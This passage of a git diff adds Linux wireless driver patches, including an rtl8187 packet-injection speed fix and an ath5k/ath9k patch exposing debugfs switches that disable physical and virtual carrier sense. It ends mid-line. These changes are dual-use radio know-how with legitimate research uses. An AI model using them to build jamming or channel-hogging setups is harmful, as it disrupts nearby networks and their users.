PCMCIA_DEVICE_PROD_ID12("Cabletron", "RoamAbout 802.11 DS", 0x32d445f5, 0xedeffd90), ++ PCMCIA_DEVICE_PROD_ID12("D-Link Corporation", "D-Link DWL-650H 11Mbps WLAN Adapter", 0xef544d24, 0xcd8ea916), ++ PCMCIA_DEVICE_PROD_ID12("ELSA", "AirLancer MC-11", 0x4507a33a, 0xef54f0e3), ++ PCMCIA_DEVICE_PROD_ID12("HyperLink", "Wireless PC Card 11Mbps", 0x56cc3f1a, 0x0bcf220c), ++ PCMCIA_DEVICE_PROD_ID12("Intel", "PRO/Wireless 2011 LAN PC Card", 0x816cc815, 0x07f58077), ++ PCMCIA_DEVICE_PROD_ID12("LeArtery", "SYNCBYAIR 11Mbps Wireless LAN PC Card", 0x7e3b326a, 0x49893e92), ++ PCMCIA_DEVICE_PROD_ID12("Lucent Technologies", "WaveLAN/IEEE", 0x23eb9949, 0xc562e72a), ++ PCMCIA_DEVICE_PROD_ID12("MELCO", "WLI-PCM-L11", 0x481e0094, 0x7360e410), ++ PCMCIA_DEVICE_PROD_ID12("MELCO", "WLI-PCM-L11G", 0x481e0094, 0xf57ca4b3), ++ PCMCIA_DEVICE_PROD_ID12("NCR", "WaveLAN/IEEE", 0x24358cd4, 0xc562e72a), ++ PCMCIA_DEVICE_PROD_ID12("Nortel Networks", "emobility 802.11 Wireless LAN PC Card", 0x2d617ea0, 0x88cd5767), ++ PCMCIA_DEVICE_PROD_ID12("OTC", "Wireless AirEZY 2411-PCC WLAN Card", 0x4ac44287, 0x235a6bed), ++ PCMCIA_DEVICE_PROD_ID12("PROXIM", "LAN PC CARD HARMONY 80211B", 0xc6536a5e, 0x090c3cd9), ++ PCMCIA_DEVICE_PROD_ID12("PROXIM", "LAN PCI CARD HARMONY 80211B", 0xc6536a5e, 0x9f494e26), ++ PCMCIA_DEVICE_PROD_ID12("SAMSUNG", "11Mbps WLAN Card", 0x43d74cb4, 0x579bd91b), ++ PCMCIA_DEVICE_PROD_ID12("Symbol Technologies", "LA4111 Spectrum24 Wireless LAN PC Card", 0x3f02b4d6, 0x3663cb0e), ++#ifdef CONFIG_HERMES_PRISM ++ /* Only entries that certainly identify Prism chipset */ ++ PCMCIA_DEVICE_MANF_CARD(0x000b, 0x7100), /* SonicWALL Long Range Wireless Card */ ++ PCMCIA_DEVICE_MANF_CARD(0x000b, 0x7300), /* Sohoware NCP110, Philips 802.11b */ ++ PCMCIA_DEVICE_MANF_CARD(0x0089, 0x0002), /* AnyPoint(TM) Wireless II PC Card */ ++ PCMCIA_DEVICE_MANF_CARD(0x0126, 0x8000), /* PROXIM RangeLAN-DS/LAN PC CARD */ ++ PCMCIA_DEVICE_MANF_CARD(0x0138, 0x0002), /* Compaq WL100 11 Mbps Wireless Adapter */ ++ PCMCIA_DEVICE_MANF_CARD(0x01ff, 0x0008), /* Intermec MobileLAN 11Mbps 802.11b WLAN Card */ ++ PCMCIA_DEVICE_MANF_CARD(0x0250, 0x0002), /* Samsung SWL2000-N 11Mb/s WLAN Card */ ++ PCMCIA_DEVICE_MANF_CARD(0x0274, 0x1612), /* Linksys WPC11 Version 2.5 */ ++ PCMCIA_DEVICE_MANF_CARD(0x0274, 0x1613), /* Linksys WPC11 Version 3 */ ++ PCMCIA_DEVICE_MANF_CARD(0x028a, 0x0002), /* Compaq HNW-100 11 Mbps Wireless Adapter */ ++ PCMCIA_DEVICE_MANF_CARD(0x028a, 0x0673), /* Linksys WCF12 Wireless CompactFlash Card */ + PCMCIA_DEVICE_MANF_CARD(0x50c2, 0x7300), /* Airvast WN-100 */ + PCMCIA_DEVICE_MANF_CARD(0x9005, 0x0021), /* Adaptec Ultra Wireless ANW-8030 */ + PCMCIA_DEVICE_MANF_CARD(0xc001, 0x0008), /* CONTEC FLEXSCAN/FX-DDS110-PCC */ + PCMCIA_DEVICE_MANF_CARD(0xc250, 0x0002), /* Conceptronic CON11Cpro, EMTAC A2424i */ + PCMCIA_DEVICE_MANF_CARD(0xd601, 0x0002), /* Safeway 802.11b, ZCOMAX AirRunner/XI-300 */ + PCMCIA_DEVICE_MANF_CARD(0xd601, 0x0005), /* D-Link DCF660, Sandisk Connect SDWCFB-000 */ +- PCMCIA_DEVICE_PROD_ID12(" ", "IEEE 802.11 Wireless LAN/PC Card", 0x3b6e20c8, 0xefccafe9), +- PCMCIA_DEVICE_PROD_ID12("3Com", "3CRWE737A AirConnect Wireless LAN PC Card", 0x41240e5b, 0x56010af3), ++ PCMCIA_DEVICE_PROD_ID123("Instant Wireless ", " Network PC CARD", "Version 01.02", 0x11d901af, 0x6e9bd926, 0x4b74baa0), + PCMCIA_DEVICE_PROD_ID12("ACTIONTEC", "PRISM Wireless LAN PC Card", 0x393089da, 0xa71e69d5), + PCMCIA_DEVICE_PROD_ID12("Addtron", "AWP-100 Wireless PCMCIA", 0xe6ec52ce, 0x08649af2), +- PCMCIA_DEVICE_PROD_ID12("Allied Telesyn", "AT-WCL452 Wireless PCMCIA Radio", 0x5cd01705, 0x4271660f), +- PCMCIA_DEVICE_PROD_ID12("ASUS", "802_11b_PC_CARD_25", 0x78fc06ee, 0xdb9aa842), +- PCMCIA_DEVICE_PROD_ID12("ASUS", "802_11B_CF_CARD_25", 0x78fc06ee, 0x45a50c1e), +- PCMCIA_DEVICE_PROD_ID12("Avaya Communication", "Avaya Wireless PC Card", 0xd8a43b78, 0x0d341169), +- PCMCIA_DEVICE_PROD_ID12("BENQ", "AWL100 PCMCIA ADAPTER", 0x35dadc74, 0x01f7fedb), +- PCMCIA_DEVICE_PROD_ID12("BUFFALO", "WLI-PCM-L11G", 0x2decece3, 0xf57ca4b3), + PCMCIA_DEVICE_PROD_ID12("BUFFALO", "WLI-CF-S11G", 0x2decece3, 0x82067c18), +- PCMCIA_DEVICE_PROD_ID12("Cabletron", "RoamAbout 802.11 DS", 0x32d445f5, 0xedeffd90), ++ PCMCIA_DEVICE_PROD_ID12("BUFFALO", "WLI-PCM-L11G", 0x2decece3, 0xf57ca4b3), + PCMCIA_DEVICE_PROD_ID12("Compaq", "WL200_11Mbps_Wireless_PCI_Card", 0x54f7c49c, 0x15a75e5b), + PCMCIA_DEVICE_PROD_ID12("corega K.K.", "Wireless LAN PCC-11", 0x5261440f, 0xa6405584), + PCMCIA_DEVICE_PROD_ID12("corega K.K.", "Wireless LAN PCCA-11", 0x5261440f, 0xdf6115f9), + PCMCIA_DEVICE_PROD_ID12("corega_K.K.", "Wireless_LAN_PCCB-11", 0x29e33311, 0xee7a27ae), ++ PCMCIA_DEVICE_PROD_ID12("Digital Data Communications", "WPC-0100", 0xfdd73470, 0xe0b6f146), + PCMCIA_DEVICE_PROD_ID12("D", "Link DRC-650 11Mbps WLAN Card", 0x71b18589, 0xf144e3ac), + PCMCIA_DEVICE_PROD_ID12("D", "Link DWL-650 11Mbps WLAN Card", 0x71b18589, 0xb6f1b0ab), +- PCMCIA_DEVICE_PROD_ID12("D-Link Corporation", "D-Link DWL-650H 11Mbps WLAN Adapter", 0xef544d24, 0xcd8ea916), +- PCMCIA_DEVICE_PROD_ID12("Digital Data Communications", "WPC-0100", 0xfdd73470, 0xe0b6f146), +- PCMCIA_DEVICE_PROD_ID12("ELSA", "AirLancer MC-11", 0x4507a33a, 0xef54f0e3), +- PCMCIA_DEVICE_PROD_ID12("HyperLink", "Wireless PC Card 11Mbps", 0x56cc3f1a, 0x0bcf220c), +- PCMCIA_DEVICE_PROD_ID123("Instant Wireless ", " Network PC CARD", "Version 01.02", 0x11d901af, 0x6e9bd926, 0x4b74baa0), +- PCMCIA_DEVICE_PROD_ID12("Intel", "PRO/Wireless 2011 LAN PC Card", 0x816cc815, 0x07f58077), ++ PCMCIA_DEVICE_PROD_ID12(" ", "IEEE 802.11 Wireless LAN/PC Card", 0x3b6e20c8, 0xefccafe9), + PCMCIA_DEVICE_PROD_ID12("INTERSIL", "HFA384x/IEEE", 0x74c5e40d, 0xdb472a18), + PCMCIA_DEVICE_PROD_ID12("INTERSIL", "I-GATE 11M PC Card / PC Card plus", 0x74c5e40d, 0x8304ff77), + PCMCIA_DEVICE_PROD_ID12("Intersil", "PRISM 2_5 PCMCIA ADAPTER", 0x4b801a17, 0x6345a0bf), +- PCMCIA_DEVICE_PROD_ID12("LeArtery", "SYNCBYAIR 11Mbps Wireless LAN PC Card", 0x7e3b326a, 0x49893e92), + PCMCIA_DEVICE_PROD_ID12("Linksys", "Wireless CompactFlash Card", 0x0733cc81, 0x0c52f395), +- PCMCIA_DEVICE_PROD_ID12("Lucent Technologies", "WaveLAN/IEEE", 0x23eb9949, 0xc562e72a), +- PCMCIA_DEVICE_PROD_ID12("MELCO", "WLI-PCM-L11", 0x481e0094, 0x7360e410), +- PCMCIA_DEVICE_PROD_ID12("MELCO", "WLI-PCM-L11G", 0x481e0094, 0xf57ca4b3), + PCMCIA_DEVICE_PROD_ID12("Microsoft", "Wireless Notebook Adapter MN-520", 0x5961bf85, 0x6eec8c01), +- PCMCIA_DEVICE_PROD_ID12("NCR", "WaveLAN/IEEE", 0x24358cd4, 0xc562e72a), +- PCMCIA_DEVICE_PROD_ID12("NETGEAR MA401 Wireless PC", "Card", 0xa37434e9, 0x9762e8f1), + PCMCIA_DEVICE_PROD_ID12("NETGEAR MA401RA Wireless PC", "Card", 0x0306467f, 0x9762e8f1), +- PCMCIA_DEVICE_PROD_ID12("Nortel Networks", "emobility 802.11 Wireless LAN PC Card", 0x2d617ea0, 0x88cd5767), ++ PCMCIA_DEVICE_PROD_ID12("NETGEAR MA401 Wireless PC", "Card", 0xa37434e9, 0x9762e8f1), + PCMCIA_DEVICE_PROD_ID12("OEM", "PRISM2 IEEE 802.11 PC-Card", 0xfea54c90, 0x48f2bdd6), +- PCMCIA_DEVICE_PROD_ID12("OTC", "Wireless AirEZY 2411-PCC WLAN Card", 0x4ac44287, 0x235a6bed), + PCMCIA_DEVICE_PROD_ID12("PLANEX", "GeoWave/GW-CF110", 0x209f40ab, 0xd9715264), + PCMCIA_DEVICE_PROD_ID12("PLANEX", "GeoWave/GW-NS110", 0x209f40ab, 0x46263178), +- PCMCIA_DEVICE_PROD_ID12("PROXIM", "LAN PC CARD HARMONY 80211B", 0xc6536a5e, 0x090c3cd9), +- PCMCIA_DEVICE_PROD_ID12("PROXIM", "LAN PCI CARD HARMONY 80211B", 0xc6536a5e, 0x9f494e26), +- PCMCIA_DEVICE_PROD_ID12("SAMSUNG", "11Mbps WLAN Card", 0x43d74cb4, 0x579bd91b), + PCMCIA_DEVICE_PROD_ID12("SMC", "SMC2532W-B EliteConnect Wireless Adapter", 0xc4f8b18b, 0x196bd757), + PCMCIA_DEVICE_PROD_ID12("SMC", "SMC2632W", 0xc4f8b18b, 0x474a1f2a), +- PCMCIA_DEVICE_PROD_ID12("Symbol Technologies", "LA4111 Spectrum24 Wireless LAN PC Card", 0x3f02b4d6, 0x3663cb0e), + PCMCIA_DEVICE_PROD_ID12("ZoomAir 11Mbps High", "Rate wireless Networking", 0x273fe3db, 0x32a1eaee), + PCMCIA_DEVICE_PROD_ID3("HFA3863", 0x355cb092), + PCMCIA_DEVICE_PROD_ID3("ISL37100P", 0x630d52b2), + PCMCIA_DEVICE_PROD_ID3("ISL37101P-10", 0xdd97a26b), + PCMCIA_DEVICE_PROD_ID3("ISL37300P", 0xc9049a39), ++#endif + PCMCIA_DEVICE_NULL, + }; + MODULE_DEVICE_TABLE(pcmcia, orinoco_cs_ids); diff --git a/net-wireless/compat-wireless/files/reinette-test2.patch b/net-wireless/compat-wireless/files/reinette-test2.patch new file mode 100644 index 00000000..fe9fee1e --- /dev/null +++ b/net-wireless/compat-wireless/files/reinette-test2.patch @@ -0,0 +1,36 @@ +diff --git a/drivers/net/wireless/iwlwifi/iwl-agn-lib.c b/drivers/net/wireless/iwlwifi/iwl-agn-lib.c +index 0f292a2..2815ee7 100644 +--- a/drivers/net/wireless/iwlwifi/iwl-agn-lib.c ++++ b/drivers/net/wireless/iwlwifi/iwl-agn-lib.c +@@ -613,7 +613,8 @@ void iwlagn_rx_allocate(struct iwl_priv *priv, gfp_t priority) + } + spin_unlock_irqrestore(&rxq->lock, flags); + +- if (rxq->free_count > RX_LOW_WATERMARK) ++ if ((priority == GFP_ATOMIC) || ++ (rxq->free_count > RX_LOW_WATERMARK / 4)) + gfp_mask |= __GFP_NOWARN; + + if (priv->hw_params.rx_page_order > 0) +@@ -627,7 +628,7 @@ void iwlagn_rx_allocate(struct iwl_priv *priv, gfp_t priority) + "order: %d\n", + priv->hw_params.rx_page_order); + +- if ((rxq->free_count <= RX_LOW_WATERMARK) && ++ if ((rxq->free_count <= RX_LOW_WATERMARK / 4) && + net_ratelimit()) + IWL_CRIT(priv, "Failed to alloc_pages with %s. Only %u free buffers remaining.\n", + priority == GFP_ATOMIC ? "GFP_ATOMIC" : "GFP_KERNEL", +diff --git a/drivers/net/wireless/iwlwifi/iwl-fh.h b/drivers/net/wireless/iwlwifi/iwl-fh.h +index 113c366..431bc58 100644 +--- a/drivers/net/wireless/iwlwifi/iwl-fh.h ++++ b/drivers/net/wireless/iwlwifi/iwl-fh.h +@@ -426,7 +426,7 @@ + * RX related structures and functions + */ + #define RX_FREE_BUFFERS 64 +-#define RX_LOW_WATERMARK 8 ++#define RX_LOW_WATERMARK 128 + + /* Size of one Rx buffer in host DRAM */ + #define IWL_RX_BUF_SIZE_3K (3 * 1000) /* 3945 only */ diff --git a/net-wireless/compat-wireless/files/rtl8187-mac80211-injection-speed-2.6.30-rc3.patch b/net-wireless/compat-wireless/files/rtl8187-mac80211-injection-speed-2.6.30-rc3.patch new file mode 100644 index 00000000..5bcef9eb --- /dev/null +++ b/net-wireless/compat-wireless/files/rtl8187-mac80211-injection-speed-2.6.30-rc3.patch @@ -0,0 +1,30 @@ +diff --git a/drivers/net/wireless/rtl818x/rtl8187_dev.c b/drivers/net/wireless/rtl818x/rtl8187_dev.c +index 9212cea..08d04a3 100644 +--- a/drivers/net/wireless/rtl818x/rtl8187_dev.c ++++ b/drivers/net/wireless/rtl818x/rtl8187_dev.c +@@ -258,7 +258,11 @@ static int rtl8187_tx(struct ieee80211_hw *dev, struct sk_buff *skb) + hdr->flags = cpu_to_le32(flags); + hdr->len = 0; + hdr->rts_duration = rts_dur; +- hdr->retry = cpu_to_le32((info->control.rates[0].count - 1) << 8); ++ if (!(info->flags & IEEE80211_TX_CTL_NO_ACK)) ++ hdr->retry = ++ cpu_to_le32((info->control.rates[0].count - 1) << 8); ++ else ++ hdr->retry = 0; + buf = hdr; + + ep = 2; +@@ -276,7 +280,11 @@ static int rtl8187_tx(struct ieee80211_hw *dev, struct sk_buff *skb) + memset(hdr, 0, sizeof(*hdr)); + hdr->flags = cpu_to_le32(flags); + hdr->rts_duration = rts_dur; +- hdr->retry = cpu_to_le32((info->control.rates[0].count - 1) << 8); ++ if (!(info->flags & IEEE80211_TX_CTL_NO_ACK)) ++ hdr->retry = ++ cpu_to_le32((info->control.rates[0].count - 1) << 8); ++ else ++ hdr->retry = 0; + hdr->tx_duration = + ieee80211_generic_frame_duration(dev, priv->vif, + skb->len, txrate); diff --git a/net-wireless/compat-wireless/files/super_secret_patch.diff b/net-wireless/compat-wireless/files/super_secret_patch.diff new file mode 100644 index 00000000..bb9b58d5 --- /dev/null +++ b/net-wireless/compat-wireless/files/super_secret_patch.diff @@ -0,0 +1,453 @@ +From: Benoit Papillault +Date: Thu, 8 Apr 2010 21:53:39 +0000 (+0200) +Subject: ath5k & ath9k: Add the ability to disable physical & virtual carrier sense. +X-Git-Url: http://git.popipo.fr/?p=rt2x00.git;a=commitdiff_plain;h=6e617aef04e78aa09fdaf029ff2095bda8509606 + +ath5k & ath9k: Add the ability to disable physical & virtual carrier sense. + +This patch adds 2 debugfs file in ath5k and ath9k debugfs directory, called : +- physical_carrier_sense : when set to 1, physical carrier sense is disabled. +- virtual_carrier_sense : when set to 1, virtual carrier sense is disabled + +Carrier sense settings are restored after a hardware reset. +--- + +diff --git a/drivers/net/wireless/ath/ath5k/ath5k.h b/drivers/net/wireless/ath/ath5k/ath5k.h +index ac67f02..1f90dde 100644 +--- a/drivers/net/wireless/ath/ath5k/ath5k.h ++++ b/drivers/net/wireless/ath/ath5k/ath5k.h +@@ -1135,6 +1135,10 @@ struct ath5k_hw { + /* Software interrupt mask */ + u8 ah_swi_mask; + ++ /* Saved values of physical & virtual carrier sense */ ++ int saved_phy_cs; ++ int saved_virt_cs; ++ + /* + * Function pointers + */ +@@ -1310,6 +1314,11 @@ extern unsigned int ath5k_hw_get_def_antenna(struct ath5k_hw *ah); + /* TX power setup */ + extern int ath5k_hw_txpower(struct ath5k_hw *ah, struct ieee80211_channel *channel, u8 ee_mode, u8 txpower); + extern int ath5k_hw_set_txpower_limit(struct ath5k_hw *ah, u8 txpower); ++/* physical & virtual carrier sense get/set methods */ ++int ath5k_hw_get_phy_cs(struct ath5k_hw *ah); ++void ath5k_hw_set_phy_cs(struct ath5k_hw *ah, int val); ++int ath5k_hw_get_virt_cs(struct ath5k_hw *ah); ++void ath5k_hw_set_virt_cs(struct ath5k_hw *ah, int val); + + /* + * Functions used internaly +diff --git a/drivers/net/wireless/ath/ath5k/debug.c b/drivers/net/wireless/ath/ath5k/debug.c +index 747508c..246c62d 100644 +--- a/drivers/net/wireless/ath/ath5k/debug.c ++++ b/drivers/net/wireless/ath/ath5k/debug.c +@@ -363,6 +363,90 @@ static const struct file_operations fops_debug = { + .owner = THIS_MODULE, + }; + ++static ssize_t read_file_phy_cs(struct file *file, char __user *user_buf, ++ size_t count, loff_t *ppos) ++{ ++ struct ath5k_softc *sc = file->private_data; ++ struct ath5k_hw *ah = sc->ah; ++ char buf[32]; ++ unsigned int len; ++ int val; ++ ++ val = ath5k_hw_get_phy_cs(ah); ++ len = snprintf(buf, sizeof(buf), "%d\n", val); ++ return simple_read_from_buffer(user_buf, count, ppos, buf, len); ++} ++ ++static ssize_t write_file_phy_cs(struct file *file, const char __user *user_buf, ++ size_t count, loff_t *ppos) ++{ ++ struct ath5k_softc *sc = file->private_data; ++ struct ath5k_hw *ah = sc->ah; ++ unsigned long val; ++ char buf[32]; ++ ssize_t len; ++ ++ len = min(count, sizeof(buf) - 1); ++ if (copy_from_user(buf, user_buf, len)) ++ return -EINVAL; ++ ++ buf[len] = '\0'; ++ if (strict_strtoul(buf, 0, &val)) ++ return -EINVAL; ++ ++ ath5k_hw_set_phy_cs(ah, val); ++ return count; ++} ++ ++static const struct file_operations fops_phy_cs = { ++ .read = read_file_phy_cs, ++ .write = write_file_phy_cs, ++ .open = ath5k_debugfs_open, ++ .owner = THIS_MODULE ++}; ++ ++static ssize_t read_file_virt_cs(struct file *file, char __user *user_buf, ++ size_t count, loff_t *ppos) ++{ ++ struct ath5k_softc *sc = file->private_data; ++ struct ath5k_hw *ah = sc->ah; ++ char buf[32]; ++ unsigned int len; ++ int val; ++ ++ val = ath5k_hw_get_virt_cs(ah); ++ len = snprintf(buf, sizeof(buf), "%d\n",val); ++ return simple_read_from_buffer(user_buf, count, ppos, buf, len); ++} ++ ++static ssize_t write_file_virt_cs(struct file *file, const char __user *user_buf, ++ size_t count, loff_t *ppos) ++{ ++ struct ath5k_softc *sc = file->private_data; ++ struct ath5k_hw *ah = sc->ah; ++ unsigned long val; ++ char buf[32]; ++ ssize_t len; ++ ++ len = min(count, sizeof(buf) - 1); ++ if (copy_from_user(buf, user_buf, len)) ++ return -EINVAL; ++ ++ buf[len] = '\0'; ++ if (strict_strtoul(buf, 0, &val)) ++ return -EINVAL; ++ ++ ath5k_hw_set_virt_cs(ah, val); ++ ++ return count; ++} ++ ++static const struct file_operations fops_virt_cs = { ++ .read = read_file_virt_cs, ++ .write = write_file_virt_cs, ++ .open = ath5k_debugfs_open, ++ .owner = THIS_MODULE ++}; + + /* init */ + +@@ -393,6 +477,14 @@ ath5k_debug_init_device(struct ath5k_softc *sc) + + sc->debug.debugfs_reset = debugfs_create_file("reset", S_IWUSR, + sc->debug.debugfs_phydir, sc, &fops_reset); ++ ++ sc->debug.debugfs_phy_cs = debugfs_create_file("physical_carrier_sense", ++ S_IRUSR|S_IWUSR, ++ sc->debug.debugfs_phydir, sc, &fops_phy_cs); ++ ++ sc->debug.debugfs_virt_cs = debugfs_create_file("virtual_carrier_sense", ++ S_IRUSR|S_IWUSR, ++ sc->debug.debugfs_phydir, sc, &fops_virt_cs); + } + + void +@@ -404,6 +496,8 @@ ath5k_debug_finish(void) + void + ath5k_debug_finish_device(struct ath5k_softc *sc) + { ++ debugfs_remove(sc->debug.debugfs_virt_cs); ++ debugfs_remove(sc->debug.debugfs_phy_cs); + debugfs_remove(sc->debug.debugfs_debug); + debugfs_remove(sc->debug.debugfs_registers); + debugfs_remove(sc->debug.debugfs_beacon); +diff --git a/drivers/net/wireless/ath/ath5k/debug.h b/drivers/net/wireless/ath/ath5k/debug.h +index 66f69f0..070226c 100644 +--- a/drivers/net/wireless/ath/ath5k/debug.h ++++ b/drivers/net/wireless/ath/ath5k/debug.h +@@ -74,6 +74,8 @@ struct ath5k_dbg_info { + struct dentry *debugfs_registers; + struct dentry *debugfs_beacon; + struct dentry *debugfs_reset; ++ struct dentry *debugfs_phy_cs; ++ struct dentry *debugfs_virt_cs; + }; + + /** +diff --git a/drivers/net/wireless/ath/ath5k/phy.c b/drivers/net/wireless/ath/ath5k/phy.c +index eff3323..4604e8f 100644 +--- a/drivers/net/wireless/ath/ath5k/phy.c ++++ b/drivers/net/wireless/ath/ath5k/phy.c +@@ -3145,3 +3145,41 @@ int ath5k_hw_set_txpower_limit(struct ath5k_hw *ah, u8 txpower) + } + + #undef _ATH5K_PHY ++int ath5k_hw_get_phy_cs(struct ath5k_hw *ah) ++{ ++ u32 regval; ++ ++ regval = ath5k_hw_reg_read(ah, AR5K_DIAG_SW); ++ return !!(regval & AR5K_DIAG_SW_RX_CLEAR_HIGH); ++} ++ ++void ath5k_hw_set_phy_cs(struct ath5k_hw *ah, int val) ++{ ++ if (val) ++ AR5K_REG_ENABLE_BITS(ah, AR5K_DIAG_SW, ++ AR5K_DIAG_SW_RX_CLEAR_HIGH); ++ else ++ AR5K_REG_DISABLE_BITS(ah, AR5K_DIAG_SW, ++ AR5K_DIAG_SW_RX_CLEAR_HIGH); ++ ah->saved_phy_cs = val; ++} ++ ++int ath5k_hw_get_virt_cs(struct ath5k_hw *ah) ++{ ++ u32 regval; ++ ++ regval = ath5k_hw_reg_read(ah, AR5K_DIAG_SW); ++ return !!(regval & AR5K_DIAG_SW_IGNORE_CARR_SENSE); ++} ++ ++void ath5k_hw_set_virt_cs(struct ath5k_hw *ah, int val) ++{ ++ if (val) ++ AR5K_REG_ENABLE_BITS(ah, AR5K_DIAG_SW, ++ AR5K_DIAG_SW_IGNORE_CARR_SENSE); ++ else ++ AR5K_REG_DISABLE_BITS(ah, AR5K_DIAG_SW, ++ AR5K_DIAG_SW_IGNORE_CARR_SENSE); ++ ah->saved_virt_cs = val; ++} ++ +diff --git a/drivers/net/wireless/ath/ath5k/reset.c b/drivers/net/wireless/ath/ath5k/reset.c +index cbf28e3..7d337f3 100644 +--- a/drivers/net/wireless/ath/ath5k/reset.c ++++ b/drivers/net/wireless/ath/ath5k/reset.c +@@ -1386,6 +1386,9 @@ int ath5k_hw_reset(struct ath5k_hw *ah, enum nl80211_iftype op_mode, + */ + AR5K_REG_DISABLE_BITS(ah, AR5K_BEACON, AR5K_BEACON_ENABLE); + ath5k_hw_reset_tsf(ah); ++ ++ ath5k_hw_set_phy_cs(ah, ah->saved_phy_cs); ++ ath5k_hw_set_virt_cs(ah, ah->saved_virt_cs); + return 0; + } + +diff --git a/drivers/net/wireless/ath/ath9k/debug.c b/drivers/net/wireless/ath/ath9k/debug.c +index 42d2a50..a65d9fc 100644 +--- a/drivers/net/wireless/ath/ath9k/debug.c ++++ b/drivers/net/wireless/ath/ath9k/debug.c +@@ -699,6 +699,75 @@ static const struct file_operations fops_recv = { + .owner = THIS_MODULE + }; + ++static ssize_t write_file_phy_cs(struct file *file, const char __user *user_buf, ++ size_t count, loff_t *ppos) ++{ ++ struct ath_softc *sc = file->private_data; ++ unsigned long val; ++ char buf[32]; ++ ssize_t len; ++ ++ len = min(count, sizeof(buf) - 1); ++ if (copy_from_user(buf, user_buf, len)) ++ return -EINVAL; ++ ++ buf[len] = '\0'; ++ if (strict_strtoul(buf, 0, &val)) ++ return -EINVAL; ++ ++ ath9k_hw_set_phy_cs(sc->sc_ah, val); ++ ++ return count; ++} ++ ++static const struct file_operations fops_phy_cs = { ++ .read = read_file_phy_cs, ++ .write = write_file_phy_cs, ++ .open = ath9k_debugfs_open, ++ .owner = THIS_MODULE ++}; ++ ++static ssize_t read_file_virt_cs(struct file *file, char __user *user_buf, ++ size_t count, loff_t *ppos) ++{ ++ struct ath_softc *sc = file->private_data; ++ char buf[32]; ++ unsigned int len; ++ int val; ++ ++ val = ath9k_hw_get_virt_cs(sc->sc_ah); ++ len = snprintf(buf, sizeof(buf), "%d\n", val); ++ return simple_read_from_buffer(user_buf, count, ppos, buf, len); ++} ++ ++static ssize_t write_file_virt_cs(struct file *file, const char __user *user_buf, ++ size_t count, loff_t *ppos) ++{ ++ struct ath_softc *sc = file->private_data; ++ unsigned long val; ++ char buf[32]; ++ ssize_t len; ++ ++ len = min(count, sizeof(buf) - 1); ++ if (copy_from_user(buf, user_buf, len)) ++ return -EINVAL; ++ ++ buf[len] = '\0'; ++ if (strict_strtoul(buf, 0, &val)) ++ return -EINVAL; ++ ++ ath9k_hw_set_virt_cs(sc->sc_ah, val); ++ ++ return count; ++} ++ ++static const struct file_operations fops_virt_cs = { ++ .read = read_file_virt_cs, ++ .write = write_file_virt_cs, ++ .open = ath9k_debugfs_open, ++ .owner = THIS_MODULE ++}; ++ + int ath9k_init_debug(struct ath_hw *ah) + { + struct ath_common *common = ath9k_hw_common(ah); +@@ -758,6 +827,20 @@ int ath9k_init_debug(struct ath_hw *ah) + if (!sc->debug.debugfs_recv) + goto err; + ++ sc->debug.debugfs_phy_cs = debugfs_create_file("physical_carrier_sense", ++ S_IRUSR|S_IWUSR, ++ sc->debug.debugfs_phy, ++ sc, &fops_phy_cs); ++ if (!sc->debug.debugfs_phy_cs) ++ goto err; ++ ++ sc->debug.debugfs_virt_cs = debugfs_create_file("virtual_carrier_sense", ++ S_IRUSR|S_IWUSR, ++ sc->debug.debugfs_phy, ++ sc, &fops_virt_cs); ++ if (!sc->debug.debugfs_virt_cs) ++ goto err; ++ + return 0; + err: + ath9k_exit_debug(ah); +@@ -769,6 +852,8 @@ void ath9k_exit_debug(struct ath_hw *ah) + struct ath_common *common = ath9k_hw_common(ah); + struct ath_softc *sc = (struct ath_softc *) common->priv; + ++ debugfs_remove(sc->debug.debugfs_virt_cs); ++ debugfs_remove(sc->debug.debugfs_phy_cs); + debugfs_remove(sc->debug.debugfs_recv); + debugfs_remove(sc->debug.debugfs_xmit); + debugfs_remove(sc->debug.debugfs_wiphy); +diff --git a/drivers/net/wireless/ath/ath9k/debug.h b/drivers/net/wireless/ath/ath9k/debug.h +index 86780e6..d86bbe5 100644 +--- a/drivers/net/wireless/ath/ath9k/debug.h ++++ b/drivers/net/wireless/ath/ath9k/debug.h +@@ -156,6 +156,8 @@ struct ath9k_debug { + struct dentry *debugfs_wiphy; + struct dentry *debugfs_xmit; + struct dentry *debugfs_recv; ++ struct dentry *debugfs_phy_cs; ++ struct dentry *debugfs_virt_cs; + struct ath_stats stats; + }; + +diff --git a/drivers/net/wireless/ath/ath9k/hw.c b/drivers/net/wireless/ath/ath9k/hw.c +index 2e767cf..aef52aa 100644 +--- a/drivers/net/wireless/ath/ath9k/hw.c ++++ b/drivers/net/wireless/ath/ath9k/hw.c +@@ -954,6 +954,10 @@ int ath9k_hw_init(struct ath_hw *ah) + + common->state = ATH_HW_INITIALIZED; + ++ /* Initially, physical and virtual carrier sense are enabled */ ++ ah->saved_phy_cs = 0; ++ ah->saved_virt_cs = 0; ++ + return 0; + } + +@@ -1913,6 +1917,44 @@ static void ath9k_enable_rfkill(struct ath_hw *ah) + REG_SET_BIT(ah, AR_PHY_TEST, RFSILENT_BB); + } + ++int ath9k_hw_get_phy_cs(struct ath_hw *ah) ++{ ++ u32 regval; ++ ++ regval = REG_READ(ah, AR_DIAG_SW); ++ return !!(regval & AR_DIAG_FORCE_RX_CLEAR); ++} ++EXPORT_SYMBOL(ath9k_hw_get_phy_cs); ++ ++void ath9k_hw_set_phy_cs(struct ath_hw *ah, int val) ++{ ++ if (val) ++ REG_SET_BIT(ah, AR_DIAG_SW, AR_DIAG_FORCE_RX_CLEAR); ++ else ++ REG_CLR_BIT(ah, AR_DIAG_SW, AR_DIAG_FORCE_RX_CLEAR); ++ ah->saved_phy_cs = val; ++} ++EXPORT_SYMBOL(ath9k_hw_set_phy_cs); ++ ++int ath9k_hw_get_virt_cs(struct ath_hw *ah) ++{ ++ u32 regval; ++ ++ regval = REG_READ(ah, AR_DIAG_SW); ++ return !!(regval & AR_DIAG_IGNORE_VIRT_CS); ++} ++EXPORT_SYMBOL(ath9k_hw_get_virt_cs); ++ ++void ath9k_hw_set_virt_cs(struct ath_hw *ah, int val) ++{ ++ if (val) ++ REG_SET_BIT(ah, AR_DIAG_SW, AR_DIAG_IGNORE_VIRT_CS); ++ else ++ REG_CLR_BIT(ah, AR_DIAG_SW, AR_DIAG_IGNORE_VIRT_CS); ++ ah->saved_virt_cs = val; ++} ++EXPORT_SYMBOL(ath9k_hw_set_virt_cs); ++ + int ath9k_hw_reset(struct ath_hw *ah, struct ath9k_channel *chan, + bool bChannelChange) + { +@@ -2142,6 +2184,9 @@ int ath9k_hw_reset(struct ath_hw *ah, struct 